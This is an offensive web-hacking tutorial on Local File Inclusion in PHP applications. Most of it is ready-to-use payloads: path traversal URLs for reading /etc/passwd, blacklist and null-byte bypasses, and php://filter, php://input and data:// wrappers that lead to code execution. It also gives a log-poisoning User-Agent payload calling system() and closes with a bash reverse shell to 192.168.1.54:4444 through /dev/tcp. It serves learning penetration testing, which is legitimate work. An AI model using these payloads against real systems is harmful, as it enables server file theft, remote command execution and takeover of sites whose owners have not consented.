Local File Inclusion (LFI).

This is just a basic tutorial. I strongly recommend you visit my GitHub account if you want to find more information on this topic. Github-Hacking Web.

Local File Inclusion.

This vulnerability enable an attacker to read arbitrary files on the server that is running an application.
In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.

Reading arbitrary files.

Imagine a shopping application that displays images of items for sale. This might load an image using the following HTML:
<img src="/loadImage?filename=218.png">
The loadImage URL takes a filename parameter and returns the contents of the specified file. The image files are stored on disk in the location /var/www/images/. To return an image, the application appends the requested filename to this base directory and uses a filesystem API to read the contents of the file. In other words, the application reads from the following file path:
/var/www/images/218.png

This application implements no defenses against path traversal attacks. As a result, an attacker can request the following URL to retrieve the /etc/passwd file from the server’s filesystem:
https://insecure-website.com/loadImage?filename=../../../etc/passwd

---

LFI Types, Serialization and Bypasses.

Absolut Path traversal.

In this type of Path traversal, results can be obtained by using the absolute path:
https://insecure-website.com/loadImage?filename=/etc/passwd

Relative Path traversal.

https://insecure-website.com/loadImage?filename=../../../etc/passwd

Non-Recursive Sanitization Traversal.

In some cases, serialization techniques detect the path ../ and delete it. We can bypass this by doubling it and using ....//:
https://insecure-website.com/loadImage?filename=....//....//....//....//etc/passwd

Black list bypass.

In other cases the server may have a black list that find some maches and invalidate them like passwd. We can bypass it using regular expresions pass*:

• https://insecure-website.com/loadImage?filename=....//....//....//....//etc/pass*
  
• https://insecure-website.com/loadImage?filename=../../../../../etc/ho?ts
  
• https://insecure-website.com/loadImage?filename=../../../../../e??/pa????
  

Null byte Path Traversal.

Sometimes the developer may concatenate an exension to the file being searched. In this case, if we attempt to obtain the /etc/passwd , we might actually be searching for /etc/passwd.php. We can avoid this technique (Only if the PHP version is outdated) by using a null byte to override the extension.

PHP solved this type of bypass since the version 5.3.4.

https://insecure-website.com/loadImage?filename=../../../../../etc/passwd%00

Extension validation.

It’s possible to configure the server to search only for the files with a especific exetension. For example, the target may only display a file if its extension is not .txt.
We can bypass this type of restriction in outdated PHP versions by using ./.

---

---

Reading PHP files using Wrappers.

The target server can interpret the PHP language. That’s why, if we try to deploy a .php file, we can not see it. In these scenarios, we need to use PHP wrappers.

Base64-encode Wrapper:

To view PHP files, we can deploy them in base64 using the following wrapper:
php://filter/convert.base64-encode/resource=<FILE>

• First, we have to make sure if the server is concatenating the extension or not:

• We use the wrapper (We dont use .php to search for the file because we saw that the web is adding the extension by it self).
  

• The last step is to decode the base64 output.

convert.iconv

We can also read PHP files with the next line. php://filter/convert.iconv.utf-8.utf-16/resource=<Filename>

From LFI to RCE.

RCE via PHP Wrappers

php://input

We have to change the method request to POST.

data://text/plain;base64,

In this example we use <?php system("whoami"); ?> in Base64. Sometimes we will need to URL encode it.
data://text/plain;base64,<BASE64>.

Example 2:

In some cases as follows we will need to URL encode the base64.

Log Poisoning.

In any server, there are files that register logs. When we find a Local File Inclusion vulnerability we can attempt to inject code into these files and then execute it.

Detection.

To detect if we can perform Log Poisoning, we need to attempt to manipulate any log file.

Log server files are tipically stored in /var/log:

• /var/log on the target system:
• Deploying /var/log/apache2/acces.log taking advantage of a LFI vulnerability:
  
• Any action we perform on the server will be logged there.

Exploitation.

We can attempt to modify the User-Agent of our requests to visualize in the logs the information we want.

Executing commands:

• If we try to inject some code in the log, the server may execute it, as we can see in the following example:

Reverse shell:

• Using the previous method, we can obtain a reverse shell.

  It’s important to insert the poison as follows because we need to scape the character $. If we provide an incorrect input, we can break the Log Poisoning technique and we may not be able to exploit it. "User-Agent: <?php system(\$_GET['cmd']); ?>".
  

---

PHP Filter Chain.

We have to git clone the next repository: [https://github.com/synacktiv/php_filter_chain_generator/tree/main]. We make the chain specifyng the command we want to introduce in the target and we used it in the vulnerable filename input.

LFI 2 RCE.

Reverse shell via PHP Filter Chain.

It’s important to URLencode the & as %26. bash -c "bash -i >%26 /dev/tcp/192.168.1.54/4444 0>%261".